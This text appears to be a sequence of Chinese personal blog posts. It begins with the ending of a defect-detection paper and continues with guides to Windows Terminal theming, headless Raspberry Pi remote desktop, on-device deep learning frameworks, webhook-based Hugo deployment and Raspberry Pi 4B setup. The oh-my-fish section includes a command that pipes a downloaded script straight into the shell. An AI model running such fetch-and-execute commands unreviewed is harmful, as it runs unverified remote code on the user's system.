图六. (a) 原始输入图像。(b) 还原图像。(c) 我们的结果。(d) FCN 的结果。(e) 真值。

实验表明，在一个有规律的图案的背景中，我们的模型可以在充足负样本情况下达到和有监督的语义分割模型相当的准确率，并且可以在负样本缺少的情况下达到更高的准确率。耗时方面，我们的模型可以达到实时探测的标准。

5. 结论

在这篇论文中，我们结合了自编码器和生成式对抗网络提出了一个基于正样本训练且无需人工标注的缺陷检测模型。在训练中，结合了人造缺陷和数据增强的方法，模型能够自动修复有规律图案的纹理图片的缺陷，并且能够通过比较原始图片和修复图片的特征来获得缺陷的具体位置。在纤维图片和纹理表面图片上，缺陷的位置可以被实时探测获得。并且，我们可以在有缺陷的训练样本稀少的时候比有监督的语义分割模型获得更好的结果。

如果背景过于复杂和随机，自编码器将会难以重建并修复图片。相关的缺陷探测问题尚待未来进一步研究。

致谢。 这项工作部分由国家自然科学基金深圳联合基金重点项目支持。（编号 U1613217）

参考文献

1. Faghih-Roohi, S., et al.: Deep convolutional neural networks for detection of rail surface defects. In: International Joint Conference on Neural Networks. IEEE (2016)
2. Liu, R., et al.: Region-convolutional neural network for detecting capsule surface defects. Boletín Técnico 55(3), 92–100 (2017)
3. Yu, Z., Wu, X., Gu, X.: Fully Convolutional networks for surface defect inspection in industrial environment. In: Liu, M., Chen, H., Vincze, M. (eds.) ICVS 2017. LNCS, vol. 10528, pp. 417–426. Springer, Cham (2017). https://doi.org/10.1007/978-3-319-68345-4_37
4. Long, J., Shelhamer, E., Darrell, T.: Fully convolutional networks for semantic segmentation. In: Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition, pp. 3431–3440 (2015)
5. Goodfellow, I., et al.: Generative adversarial nets. In: Advances in Neural Information Processing Systems (2014)
6. Yeh, R., et al.: Semantic image inpainting with perceptual and contextual losses (2016). arXiv preprint arXiv:1607.07539
7. Schlegl, T., Seeböck, P., Waldstein, Sebastian M., Schmidt-Erfurth, U., Langs, G.: Unsupervised anomaly detection with generative adversarial networks to guide marker discovery. In: Niethammer, M., Styner, M., Aylward, S., Zhu, H., Oguz, I., Yap, P.-T., Shen, D. (eds.) IPMI 2017. LNCS, vol. 10265, pp. 146–157. Springer, Cham (2017). https://doi.org/10.1007/978-3-319-59050-9_12
8. Isola, P., et al.: Image-to-image translation with conditional adversarial networks (2017). arXiv preprint
9. Ronneberger, O., Fischer, P., Brox, T.: U-Net: convolutional networks for biomedical image segmentation. In: Navab, N., Hornegger, J., Wells, W.M., Frangi, A.F. (eds.) MICCAI 2015. LNCS, vol. 9351, pp. 234–241. Springer, Cham (2015). https://doi.org/10.1007/978-3-319-24574-4_28
10. Ojala, T., Pietikäinen, M., Harwood, D.: A comparative study of texture measures with classification based on featured distributions. Pattern Recogn. 29(1), 51–596 (1996)
11. Radford, A., Luke M., Chintala, S.: Unsupervised representation learning with deep convolutional generative adversarial networks (2015). arXiv preprint arXiv:1511.06434
12. HCI: Weakly Supervised Learning for Industrial Optical Inspection. https://hci.iwr.uniheidelberg.de/node/3616. Accessed 13 Nov 2017
13. Ngan, H.Y.T., Pang, G.K.H., Yung, N.H.C.: Automated fabric defect detection—a review. Image Vis. Comput. 29(7), 442–458 (2011)

Windows Terminal 可以说是现在 Windows 平台最香的 Terminal 应用了。巨硬官方出品，开源，颜值在线，足够流畅，没有编码/字体问题，多标签支持，emoji 支持，可以说找不到第二个这么牛逼的了。

目前 Windows Terminal 在 Preview v0.7 版本。从 7 月份的第一个公开预览版到现在 12 月，快半年时间的打磨，已经没有太多影响体验的大 Bug 了。经过一阵的使用，我毅然抛弃了包括 cmd，PowerShell，Powershell Core，Linux Bash，Git Bash，Cmder 在内的一切 Terminal，Windows Terminal 大法好。下面记录一下配置过程。

安装

微软商店搜索 Windows Terminal (preview) 安装即可。

WT 配置

一切配置以 官方文档 为准。

Json 配置文件的编辑说明可以看 这里 和 这里。

在 WT 的菜单里点击 Settings 就可以打开 Json 配置文件。按住 alt 键点击 Settings 则可以打开默认配置文件，可以用于参考。参考默认配置后，我把我的配置设置成如下：

 1
 2// To view the default settings, hold "alt" while clicking on the "Settings" button.
 3// For documentation on these settings, see: https://aka.ms/terminal-documentation
 4
 5{
 6    "$schema": "https://aka.ms/terminal-profiles-schema",
 7
 8    "defaultProfile": "{2c4de342-38b7-51cf-b940-2309a097f518}",
 9    "initialCols" : 100,
10    "initialRows" : 30,
11
12    "profiles":
13    [
14        {
15            "guid": "{2c4de342-38b7-51cf-b940-2309a097f518}",
16            "hidden": false,
17            "name": "Ubuntu",
18            "source": "Windows.Terminal.Wsl",
19            // "startingDirectory": "//wsl$/Ubuntu/home/steve",
20            "startingDirectory": ".",
21            "closeOnExit": true,
22            "colorScheme": "One Half Dark",
23            "cursorColor": "#FFFFFF",
24            "cursorShape": "bar",
25            "fontFace": "Delugia Nerd Font",
26            // Cascadia Code PL
27            // Delugia Nerd Font
28            "fontSize": 12,
29            "historySize": 9001,
30            "padding": "8, 8, 8, 8",
31            "snapOnInput": true,
32            "useAcrylic": true,
33            "acrylicOpacity": 0.8
34        },
35        {
36            "guid": "{574e775e-4f2a-5b96-ac1e-a2962a402336}",
37            "name": "Powershell Core 6",
38            "commandline": "pwsh.exe",
39            "hidden": false,
40            // "startingDirectory": "%USERPROFILE%",
41            "startingDirectory": ".",
42            "closeOnExit": true,
43            "colorScheme": "One Half Dark",
44            "cursorColor": "#FFFFFF",
45            "cursorShape": "bar",
46            "fontFace": "Delugia Nerd Font",
47            "fontSize": 12,
48            "historySize": 9001,
49            "icon": "ms-appx:///ProfileIcons/{574e775e-4f2a-5b96-ac1e-a2962a402336}.png",
50            "padding": "8, 8, 8, 8",
51            "snapOnInput": true,
52            "useAcrylic": true,
53            "acrylicOpacity": 0.8
54        },
55        {
56            // Make changes here to the powershell.exe profile
57            "guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
58            "name": "Windows PowerShell",
59            "commandline": "powershell.exe",
60            "hidden": false,
61            "startingDirectory": ".",
62            "colorScheme": "One Half Dark",
63            "fontFace": "Delugia Nerd Font",
64            "useAcrylic": true,
65            "acrylicOpacity": 0.8
66        },
67        {
68            // Make changes here to the cmd.exe profile
69            "guid": "{0caa0dad-35be-5f56-a8ff-afceeeaa6101}",
70            "name": "cmd",
71            "commandline": "cmd.exe",
72            "hidden": false,
73            "startingDirectory": ".",
74            "colorScheme": "One Half Dark",
75            "fontFace": "Delugia Nerd Font",
76            "useAcrylic": true,
77            "acrylicOpacity": 0.8
78        },
79        {
80            "guid": "{b453ae62-4e3d-5e58-b989-0a998ec441b8}",
81            "hidden": true,
82            "name": "Azure Cloud Shell",
83            "source": "Windows.Terminal.Azure"
84        }
85    ],
86
87    // Add custom color schemes to this array
88    "schemes": [],
89
90    // Add any keybinding overrides to this array.
91    // To unbind a default keybinding, set the command to "unbound"
92    "keybindings": []
93}

其中主要调整的几个点：

1. 添加了 Powershell Core 6，并调整了各个 Shell 的顺序，优先打开 WSL。
2. 把启动路径改成了 .，便于之后使用右键菜单“在此处打开”。（startingDirectory）
3. 颜色主题改成了自带的 One Half Dark。（colorScheme）
4. 字体改成了 Delugia Nerd Font。这是一个打包了 Nerd Fonts 的 Cascadia Code 的非官方版本。如果你只需要 Powerline 相关的字体，那也可以选择官方的 Cascadia Code PL 字体。（fontFace）
5. 启用了毛玻璃效果。（useAcrylic，acrylicOpacity）
6. 调整了初始的窗口大小设置。（initialCols，initialRows）

主题

调整完上述 WT 设置后，WT 就已经足够好看了。下面我们让 Powershell 和 fish 在 WT 里更好看一点。利用 oh-my-posh 和 oh-my-fish 这两个项目，分别给 Powershell 和 fish 加上 Powerline 和 Git 状态显示。

oh-my-posh

按照文档安装配置即可。

在 Powershell 中键入以下命令安装：

1Install-Module posh-git -Scope CurrentUser
2Install-Module oh-my-posh -Scope CurrentUser

Powershell Core 用户需要额外安装 [PSReadLine](Install-Module -Name PSReadLine -AllowPrerelease -Scope CurrentUser -Force -SkipPublisherCheck)：

1Install-Module -Name PSReadLine -AllowPrerelease -Scope CurrentUser -Force -SkipPublisherCheck

输入 code $PROFILE 用 vscode 打开配置文件（或者用其他任何编辑器），在最后加入：

1Import-Module posh-git
2Import-Module oh-my-posh
3Set-Theme Agnoster
4$DefaultUser = '<YOUR-USERNAME-HERE>'

重启窗口即可生效。这样就把主题设置为了 Agnoster，当然也可以选择其他你喜欢的主题。另外设置了默认用户名，这样在默认用户下可以隐藏开头的 用户名@机器名 提示字符串。

oh-my-fish

按照文档安装配置即可。

直接在命令行输入以下一行即可安装：

1curl -L https://get.oh-my.fish | fish

安装完毕后，就可以安装设置自定义主题了。输入以下命令安装并应用 Agnoster 主题：

1omf install agnoster
2omf theme agnoster

当然你也可以使用其他你喜欢的主题。

至此，整个美化就完成啦！

添加到右键菜单

最后，我们想要在右键菜单中添加 在此处打开 Windows Terminal 或者 Open WT here 的选项。

可以直接参考这篇把 Linux Bash 添加到右键菜单的文章：How to launch Bash shell from right-click context menu on Windows 10

唯一的不同就是里面的描述文字需要更改成 Windows Terminal / WT，启动指令需要改成 C:\Users\<YOUR-USERNAME-HERE>\AppData\Local\Microsoft\WindowsApps\wt.exe。另外，图标也需要改成 WT 的图标，可以从这里下载。

因此流程为：

1. 到注册表编辑器里找到 HKEY_CLASSES_ROOT\Directory\Background\shell 项。
2. 在该项下新建一个项，命名 WindowsTerminal。
3. 点击新建的这项，将默认值修改为 Open WT here。
4. 在该项下新建一个字符串值，名称为 Icon，值为图标路径。（该项操作可选）
5. 在 WindowsTerminal 项下再新建一项，命名为 command。
6. 将这项的默认值修改为启动 WT 的路径，一般为 C:\Users\<YOUR-USERNAME-HERE>\AppData\Local\Microsoft\WindowsApps\wt.exe。

操作完成，在文件夹里右击就会出现 Open WT here 的选项啦。

找到了几个好用的 CLI 网络监测工具。

实时网络连接质量：wavemon

实时网速：speedometer，bmon

TeamViewer / VNC

TeamViewer 和 VNC 是两个常用的远程桌面工具。Raspbian 自带了 RealVNC，并且开机启动。如果有接着显示器，那就可以直接用另一台电脑连上去了。TeamViewer 也提供了树莓派的服务端安装包，装好登陆账户即可远程登陆。

但是以上的前提是你得让树莓派接着显示器。如果想要一个 Headless 即不接 HDMI 只接一根电源线的配置，那恐怕这就不行了。VNC 会黑屏，告诉你无法显示当前的界面；TeamViewer 直接就连不上去。当然 VNC 可以 SSH 进命令行启动一个虚拟桌面，但是 TeamViewer 就没法解决了。一切的原因都是因为没有插 HDMI 线的时候，树莓派默认不会加载 HDMI 输出模式，因此无法让 VNC 和 TeamViewer 转发桌面。下面是一次性无痛解决的方法。

编辑 /boot/config.txt 文件，在其中取消注释/编辑以下条目：

1hdmi_force_hotplug=1
2hdmi_drive=2

其中，hdmi_force_hotplug=1 会强制树莓派在没有连接 HDMI 线的时候依旧假装连着线以启用 HDMI 输出；hdmi_drive=2 会强制走 HDMI 模式而非 DVI 模式，这样可以强制启用 HDMI 音频。

这样设置好以后重启，然后 TeamViewer 和 VNC 就可以使用了。你会发现分辨率很低，所以可以在 /boot/config.txt 中再取消注释/编辑以下条目：

1hdmi_group=2
2hdmi_mode=82

这里 hdmi_group=2 是使用更适合显示器的 DMT 输出模式，hdmi_mode=82 则是标准的 1080P@60Hz。配置完成后重启，在 GUI 里设置分辨率的地方就可以看到最大可选 1080P@60Hz 的选项了。

当然，你还可以选择其他的分辨率配置，官方文档有给出全部的说明：

https://www.raspberrypi.org/documentation/configuration/config-txt/video.md

更多的远程桌面

VNC 固然好，但是主力用就会感受到这玩意性能差得很。世上的远程桌面工具千千万，干脆多试几个吧。

VNC (RealVNC)

老生常谈，被广泛使用的远程桌面工具。性能一般，有一定延迟，并且无法高效转发视频。

TeamViewer

同上。不过是个通过转发服务器实现任意地方远程桌面的好文明。

xrdp

xrdp 的底层实现简单来说，就是在 Linux 端跑了一个 X Server，然后接上了巨硬家的 RDP 协议。因为是用了 RDP 的协议实现，所以可以直接用 Windows 自带的远程桌面做连接。用下来各方面都还挺好，但是性能方面其实和 VNC 没有什么大差别，延迟依旧是那点延迟，视频也是同样没法高效转发。

NoMachine

被吹的最神的一个远程桌面软件，号称自家开发了一个 NX 协议，能够高性能做桌面转发。实际上简直像是一个流氓软件，不开源，安装包巨大巨慢，还会装一大堆东西（幸亏都能一次性卸载干净）。这些我也就忍了（其实忍不了），实际用下来性能并没有吹的那么牛逼，上来就能感受到非常明显的延迟，并且能注意到很吃 CPU。

Chrome Remote Desktop

另一个能到处远程桌面的。不过要登录 Google 账户，还得挂梯子，算了。

X11VNC

一个用了 X11 协议的 VNC 实现。本身配置会比普通 VNC 更麻烦，而且性能也就那回事。

结论

所以在没有发现新的高性能远程桌面工具前，还是只能继续用 VNC，TeamViewer 和 xrdp 了。

之前用 darknet-nnpack 实现了在树莓派上运行 tiny YOLOv3 进行“实时”的目标识别。下一步，我想要尝试更快的网络。如何去寻找一些为了 ARM 设备优化的深度学习库呢？很简单，去找手机厂商/互联网厂商做的库。为了在手机端更快运行，他们都会做超级多底层优化，能够实现非常好的性能。如果支持移植到树莓派，那正好就是我们的不二之选。

一番搜索和挑选，我最后选择尝试以下框架：

• Paddle Lite (By Baidu)
• Tensorflow Lite (By Google)
• ncnn (By Tencent)
• MACE (By Xiaomi)

我们一个一个来尝试。

Paddle Lite

简介

PaddlePaddle 是百度开发的深度学习框架。我个人之前有使用过基于它的 PaddleDetection 框架，由于提供了非常丰富的模型支持，并且配置使用类似 Detectron 一样方便，所以对 PaddlePaddle 有了不错的印象。

而 Paddle Lite 则是为了移动设备、嵌入式设备优化过的轻量级高性能框架，有专门的 ARM CPU 优化，与 PaddlePaddle 兼容。爽的是，他们直接提供了一个可以运行在树莓派上的 Demo：

Paddle-Lite-Demo

安装

安装配置非常简单，按照 README 里的步骤走就可以。其中在配置依赖环节，文档给出的方法里需要编译 cmake，实际测试下来并不需要，使用 APT 安装的 cmake 就可以满足要求。因此依赖安装只需要以下两条指令：

1sudo apt update
2sudo apt install gcc g++ make wget unzip libopencv-dev pkg-config cmake

随后按照文档编译即可。

不过可能还需要按照这个藏在文件夹里的说明，添加一个 V4L2 驱动使 OpenCV 能够识别摄像头：

https://github.com/PaddlePaddle/Paddle-Lite-Demo/blob/master/PaddleLite-armlinux-demo/enable-camera-on-raspberry-pi.md#5安装v4l2驱动使opencv能够识别摄像头

图像分类

图像分类 Demo 编译完成后，进入 PaddleLite-armlinux-demo/image_classification_demo/build 文件夹，运行以下指令即可使用自带摄像头进行图像分类任务。

1./image_classification_demo ../models/mobilenet_v1_for_cpu ../labels/synset_words.txt

这里的 Demo 提供了 MobileNet-v1 作为分类网络，实测运行性能在 10 fps 左右，可以说是非常快了。不过这个只能对于一整帧图像进行分类，我们肯定是想要更酷的目标识别嘛。

目标识别

目标检测 Demo 编译完成后，进入 /PaddleLite-armlinux-demo/object_detection_demo/build 文件夹，运行以下指令即可使用自带摄像头进行目标识别任务。

1./object_detection_demo ../models/ssd_mobilenet_v1_pascalvoc_for_cpu ../labels/pascalvoc_label_list

这里的 Demo 使用了 SSD-MobileNet-v1 作为目标识别网络，实测性能在 6 fps 左右，可比 YOLOv3 快多了哈哈哈哈哈哈。不过按照惯例，准确度肯定是没法比。tiny YOLOv3 使用 COCO 数据集训练，能做 80 个标签 的分类，而这里的 SSD-MobileNet-v1 使用的是 PascalVOC 数据集训练，只能提供 21 个标签 的分类，而且目测准确率甚至低于 YOLOv3（不过 SSD 比 YOLO 差也几乎算是常识了）。

TensorFlow Lite

简介

TensorFlow 这样大名鼎鼎的框架就不多说了。谷歌同时也为移动设备和 IoT 设备开发了一个轻量级的版本，TensorFlow Lite。同样的，他们也提供了一个可以直接在树莓派上运行的 Demo：

TensorFlow Lite Python object detection example with Pi Camera

安装

按照 Demo 的说明，只需要安装一个 tflite 的运行时（tflite_runtime）即可。按照这篇 Python quickstart 的指示下载安装包安装。

然后按照 Demo 说明 clone 这个 repo，并用自带的脚本下载模型。我选择下载到了当前文件夹中。

运行

用 Demo 说明的指令即可运行。（模型和 label 说明文件位置需要根据实际情况更改）

1python3 detect_picamera.py \
2  --model ./detect.tflite \
3  --labels ./coco_labels.txt

如果你是连接了显示器，那应该会跳出一个实时的摄像头画面了。但是如果你用的是 VNC 或者 TeamViewer 这样的远程桌面，大概率你会看到脚本在运行、CPU 高负载，却没有画面。这是因为脚本用了 picamera 模块做显示，而 picamera 在显示的时候是直接在 HDMI 输出上做了一个叠加层，用了虚拟桌面的 VNC、TeamViewer 这类软件是无法捕获到这个输出的。picamera 的文档在这里做了解释。

解决方法其实也很简单，那就是到树莓派上的 RealVNC 设置项 Options -> Troubleshooting 里勾选 Enable direct capture mode。这样 VNC 就会直接抓取 HDMI 视频流，然后就可以看到 picamera 的预览界面了。参考回答：Sending Raspberry Pi Camera preview to a laptop running VNC Viewer

这里 TensorFlow Lite 提供的 demo 用的依旧是 SSD MobileNet v1，不过预训练使用了 COCO 数据集，因此会比 Paddle Lite 识别出更多的类别。性能在 4-5 fps，奇怪的是竟然没有吃满全部的 CPU，不过幸好这个性能已经够用了。

ncnn & MACE

很明显，上面两个框架已经完全能够满足我们的需求了。不幸的是，ncnn 和 MACE 这两个框架都需要自行编译，并没有提供预编译运行时和 Demo，因此暂时先不折腾，等以后感觉来了再搞好了。

在 博客搭建笔记 中，我记录了搭建现在这个博客的过程。为了便于管理，我现在把网站的全部文件用 git 做管理，并上传到 Github 上的一个 private repo 里。这样一方面便于版本管理，另一方面也可以省的每次有改动都要开 FileZilla 传一遍。每次有改动或者发布新文章，只需要推上 Github，然后 SSH 进服务器拉下来重新 hugo 一下就可以。

还是麻烦！

虽然说我写了个小脚本可以一键完成 git pull 和 hugo，但是每次都还是要 SSH 上去，外网的 ec2 连接又总是延迟高还不稳定。既然这么麻烦，干脆搞个自动化部署吧。

思路

在每次 push 事件发生后，让 Github 向一个特定的接口发送一个通知；服务器则配置这么一个接口用于监听事件，一旦收到 push 的通知就运行脚本自动部署。

工具

webhook：一个用 Golang 编写的轻量级 webhook 工具。可以在服务器端特定端口监听，接收到符合要求的请求后执行指定的命令。

webhooks：一项 Github 自带的功能，在 repo 的 Settings -> Webhooks 选项中可以找到相关的设置项。可以在每次 push 事件发生后，让 Github 向一个特定的接口发送一个 HTTP POST 请求。

要注意此 webhook 非彼 webhooks，前者是一个正好叫 webhook 的 webhook 工具，后者则是一项 Github 的 webhook 功能。

配置

以下配置参考了这两篇博客：

Deploy using GitHub webhooks by @awea

Setting up Automatic Deployment and Builds Using Webhooks by Will Browning

安装

直接使用 APT 安装：sudo apt install webhook

更多安装方式参考 webhook 的 README。

Service

使用 APT 安装，会自动把 webhook 配置成一个 systemd 服务。我在这里做过一些相关解释。要更改 webhook 的运行指令，需要更改 /lib/systemd/system/webhook.service 这个脚本中的内容。因为只需要更改启动指令，因此只要更改 [Service] 项下的 ExecStart 即可。

1[Service]
2ExecStart=/usr/bin/webhook -nopanic -hotreload -hooks /etc/hooks.json

相较于默认配置，这里我添加了热加载 -hotreload 选项，并把配置文件位置改成了 /etc/hooks.json。

更多命令行参数的配置，可以参考文档。

hooks.json

直接编辑 /etc/hooks.json 或者在其他地方编辑后软链接到对应位置。

 1[
 2  {
 3    "id": "my-blog-deployment-webhook",
 4    "execute-command": "/path/to/your/script/update.sh",
 5    "command-working-directory": "/path/to/your/script/",
 6    "response-message": "Executing deploy script...",
 7    "trigger-rule":
 8    {
 9      "and":
10      [
11        {
12          "match":
13          {
14            "type": "payload-hash-sha1",
15            "secret": "<RANDOM-SECRET-STRING>",
16            "parameter":
17            {
18              "source": "header",
19              "name": "X-Hub-Signature"
20            }
21          }
22        },
23        {
24          "match":
25          {
26            "type": "value",
27            "value": "refs/heads/master",
28            "parameter":
29            {
30              "source": "payload",
31              "name": "ref"
32            }
33          }
34        }
35      ]
36    }
37  }
38]

其中，id 是这个接口的名字，excute-command 是运行部署脚本的指令，command-working-directory 是执行脚本的位置，response-message 是回复 HTTP POST 的消息。最后还需要更改下面的 secret 项，里面要填写一个 足够长 且 足够随机 的字符串作为密钥。

更多参数配置参考文档，示例。

NGINX

根据文档，webhook 会在 http://0.0.0.0:9000/hooks/{id} 这个接口上监听（按照上面的示例就是 http://0.0.0.0:9000/hooks/my-blog-deployment-webhook）。虽说官方提供了 HTTPS 支持，但是需要另外指定证书，而且还要到控制台安全组放开 9000 端口，就很麻烦，还让人觉着不安全。

既然我们前面已经配好了 NGINX 和 HTTPS，不如就继续用 NGINX 转发请求好了。在 server 块中添加这个 location：

1location /hooks {
2    proxy_pass http://127.0.0.1:9000;
3}

于是就非常轻松的把 /hooks 为开头的 uri 请求转发到了 webhook 的接口上。这样一来，外网访问就可以直接使用 443 端口的 https://your-domain-name/hooks/{id} 作为 webhook，HTTPS 用的就是之前为域名配置的证书啥也不用改，而服务器内部 NGINX 会把请求再转发到在 9000 端口监听的 webhook。（反正是内部转发所以用 HTTP 也无所谓）

这里 NGINX 的配置参考了这篇教程：nginx 关于 uri 的截取

部署脚本

部署脚本本应该很简单，不就是 git pull 一下，然后 hugo 一下完事。不过用了以后发现不是这么回事，webhook 在调用脚本的时候使用了 root 用户，这使得一切都不一样了。由于使用了 snap 来安装 Hugo，在 root 身份下无法执行 hugo 命令；输出 log 文件的时候，log 文件会是以 root 身份创建的，当回到原本的 ubuntu 身份手动执行脚本的时候就无法写入这个 log 文件了。（手动改文件权限当然可以，但是非常不鲁棒）

另外，在 hook.json 中的 excute-command 里直接重定向输出行不通，需要在脚本里直接搞定。（套两个脚本当然也是可以，但是看着令人不爽）

查阅资料以后我写了如下脚本：

 1#!/bin/bash
 2# Open a shell with ubuntu as user
 3sudo -i -u ubuntu bash << EOF
 4
 5# Redirect output
 6exec >> /path/to/log/deployment.log
 7exec 2>&1
 8
 9echo "=============== Blog deployment ==============="
10echo $(date "+%Y-%m-%d %H:%M:%S") UTC
11echo
12
13# Start doing some real stuff
14cd /path/to/hugo/blog/
15git pull origin master
16rm -r public
17rm -r resources
18
19echo
20hugo
21echo
22
23echo "==============================================="
24echo
25
26EOF

这里使用了 sudo -u 和 Here Document 创建了一个身份为 ubuntu 的 shell，然后在里面执行命令。还使用了 exec >> file 和 exec 2>&1 在文件内实现输出重定向。

参考了以下资料：

How do I redirect the output of an entire shell script within the script itself?

How do I use su to execute the rest of the bash script as that user?

shell脚本中使用其他用户执行脚本

Github webhooks

最后就是在 Github repo 里设置对应的 webhook 事件啦。到 Settings -> Webhooks 中新建一个 webhook，Payload URL 就是你定义的接口；Content type 选择 application/json；Secret 填入之前在 hooks.json 中填的那个 secret；SSL verification 自然是选择启用；事件选择仅 push 事件。

设置完成以后，博客的自动化部署就最终配置完成了！

后续

webhook 是用 Golang 编写的，而 Hugo 也是 Golang 编写的，用过的人都知道速度那是真的快。Hugo 加上一样超快的 webhook，整个自动化部署的效率真的是巨高。完成全部配置以后，git push 完几秒钟就可以看到服务器端已经完成了建站操作，非常牛逼了。

Nobody：“自动化是解放生产力的必经之路。”

趁双十一打折入手了一个树莓派 4B。硬件配置：

CPU：Broadcom BCM2711，四核 Cortex-A72 1.5GHz

RAM：4GB LPDDR4

IO： 双频 Wi-Fi、蓝牙 5.0、2 个 Micro HDMI 2.0 接口（4K 60FPS）、满血千兆网口、2 个 USB 3.0、2个 USB 2.0、MIPI DSI 接口、MIPI CSI 相机接口、立体声耳机/视频接口、40 针 GPIO。

可以说这一代树莓派是超级强大的配置了。一年前的项目 小米路由器mini 自制NAS 原本由于路由器性能过于低下而最终失败，这次树莓派 4 拥有强大的 CPU，超大内存，还有千兆网口和 USB 3.0，用在这个项目上可以说是完美。不过买一个树莓派光整个 NAS 有点浪费，还是有很多别的可以折腾折腾。

0. 系统

树莓派支持很多操作系统。官方在这儿列出了所有推荐的系统：https://www.raspberrypi.org/downloads/。对于我这个 Ubuntu 吹来说，首选显然是 Ubuntu Server。（也许有机会会去试一试 Win10 IOT）

Ubuntu Server

安装系统很简单，按照 Ubuntu 官方说明 即可。

但是刷完系统，开机亮屏，等要输密码的时候我傻眼了，我发现键盘完全用不了。换键盘换 USB 口都试了，USB 口有电，但是按键没有反应。搜了一圈，找到了官方这篇博客：https://ubuntu.com/blog/roadmap-for-official-support-for-the-raspberry-pi-4。由于内核的 bug，Ubuntu Server 在树莓派 4B 4GB 内存版本上会出现 USB 不可用的状况（1GB 和 2GB 内存版本不会… 被针对了！！！）。解决方法就是在配置文件里加一条，把内存限制在 3GB……. 服了。

好在这个内核问题现在已经被修复，新的镜像大概不会有这个问题了吧。（如果继续有问题，那就先把内存限制到 3GB，登陆用 apt 更新内核就好。或者直接 SSH 上去更新也行。）

Ubuntu 就是 Ubuntu，用着很舒服。但是出了一个问题，我死也没法让 vncserver 运作起来。让我一直插 micro-HDMI 连显示器我是拒绝的，一是显示器切源麻烦，二是这个口太脆弱怕坏。而用 vncserver 可以很方便的在我的电脑上操作树莓派的图形界面。另外，树莓派一个据说很好用的工具 raspi-config 在 Ubuntu Server 上不存在。缺了这个工具，怎么启用摄像头，怎么启用其他一些连接口，貌似就麻烦了很多。

那么，果断，换系统。

Raspbian

亲儿子到底还是亲儿子，查了一圈觉得官方系统 Raspbian 对于充分发挥树莓派能力更适合。官方镜像页面：https://www.raspberrypi.org/downloads/raspbian/。安装和 Ubuntu Server 没有什么区别，也是直接按照官方教程走就好。

Raspbian 本质上是个魔改版的 Debian，也有 apt 做包管理，所以其实用起来和 Ubuntu 没啥区别。官方预先配置了很多东西，各种配置调整也都超级方便。

下面是几个常见问题的参考：

1. 中文输入法安装 Chinese input method? [solved]

2. 蓝牙鼠标延迟 Mouse slow and lagging after rpi-update [solved]（不过这个问题我还是没有解决）

3. 多桌面启用 Multiple desktops in current Raspbian GUI?

4. 查看树莓派硬件信息和引脚定义：pinout

5. 查看 CPU 温度：

   1# Method 1
   2/opt/vc/bin/vcgencmd measure_temp
   3# Method 2
   4cat /sys/class/thermal/thermal_zone0/temp

1. 风扇

买树莓派的时候配了个 5V 的小风扇，一开始觉得很安静，结果夜深人静的时候才发现竟然这么吵。第一反应自然是利用 GPIO 去做自适应风扇调速，但是查了一圈，发现最多的方案就是用杜邦线，面包板和三极管去做调速。

查一下 GPIO 的引脚定义，可以看到右上角引脚 4 和引脚 6 正好是相邻的 5V 和 GND，可以用于驱动风扇。而 3.3V 和 GND 并没有相邻，导致风扇没法直接接到 3.3V。那用 GPIO 口和 GND 口可以吗？查了资料，发现 GPIO 口的驱动电流非常小，带不动风扇。最终我选择去别人那儿嫖了两根杜邦线，把风扇接到了 3.3V，好歹是安静了点。

顺便我还做了下温度的对比，可以总结出以下方案：（均默认已贴好散热片）

1. 不插风扇。由于树莓派 4 有了一颗更强大的 CPU，在高负载下温度很容易升到 65+°C（没敢跑到更高），再高可能会导致过热关机甚至损坏。（低负载倒是完全没有问题）
2. 风扇插 5V。高负载也能基本保持在 50°C 之下，但是夜深人静的时候会让人觉得很吵。
3. 使用杜邦线（或者是插口分成两个头的风扇）把风扇接到 3.3V。高负载情况下，温度会比 5V 的时候高 5-10°C，但是基本保持在 60°C 以内。声音显著小于 5V 的时候。
4. 使用三极管调速。尚未实施，难度和复杂度显然高于上述几个方案，但是显然能够平衡三个方案的优缺点。

2. 网络摄像头

买树莓派的时候店家送了个摄像头，可以来好好用一用。至于怎么把摄像头安装到主板上就自行查资料吧，反正就是插个排线的事情。

启用摄像头在 Raspbian 里非常方便，直接在 Preferences -> Raspberry Pi Configuration 里就能直接开启，或者用 raspi-config 在命令行里也可以轻松启用。

最简单的使用方法就是在命令行输入 raspistill -o image.jpg ，然后摄像头就会拍一张照片。另外可以用这个摄像头做网络直播，直接运行以下指令：

1raspivid -o - -t 0 -n -w 1920 -h 1080 -fps 30 | cvlc -vvv stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8554/}' :demux=h264

就会在树莓派的 8554 端口以 RTSP 协议直播视频，分辨率为 1080P@30FPS。在同一局域网另一台电脑上使用 vlc 播放器就可以看到了。配置参考：https://raspberry-projects.com/pi/pi-hardware/raspberry-pi-camera/streaming-video-using-vlc-player。

另外也可以用 Python 的 Picamera 模块去调用摄像头，详细参考文档：https://picamera.readthedocs.io/。

3. 视频掉帧

提一嘴视频掉帧。

这次树莓派 4B 配了两个支持 4K@60FPS 的 micro-HDMI 接口，意思可以双 4K 显示器。但是视频播放能力呢？我测试了 Bilibili 和 YouTube 两个平台。结果是不论分辨率多低，都会有至少 5-10% 的掉帧率…..

往好处看，1080P 也依旧只有 10% 左右的掉帧（

总之看网络视频就还是用手机吧。不过插硬盘当个家庭影音中心应该还是能行的，不还专门有个叫 LibreELEC 的系统用来做这个的。

进一步查阅资料，发现这其实是软解的锅。树莓派 4 其实有很强的硬解能力，只不过网页视频并不支持罢了。我用 vlc 测试了下本地视频，由于不支持硬解，软解下视频码流超过 1000 kbps 就开始掉帧。如果想要硬解视频，现成的方法是用一个叫做 OMXPlayer 的播放器播放，不过没有任何 GUI，键盘操控也有些问题。或者可以自行编译支持硬解的 ffmpeg，据说编译可能要长达一个小时所以尚未测试。

4. 深度学习

“它只是个 SBC，千万不要放过它！”

最近在搞目标识别，店家又正好送了个摄像头，那自然而然想在上面跑个网络啊。以性能著称的目标探测网络里，最出名的应该算是 YOLOv3 了。在 YOLOv3 的网站 上，可以看到 Tiny YOLOv3，适用于 “constrained environments”，正适合树莓派了。

Darknet

原版 Darknet 可以直接参考 官网教程 编译。不过据说使用原版跑 YOLOv3 几乎没有任何性能优化，一帧图像得跑上好几百秒。那么还是找个有优化的好了。

darknet-nnpack

darknet-nnpack 是一个用 NNPACK 优化过的 Darknet 版本。NNPACK 能够在 ARM 平台上加速神经网络，达到很好的性能。根据 darknet-nnpack 作者的测试，树莓派 4 能够做到 1.4 秒的预测时间。

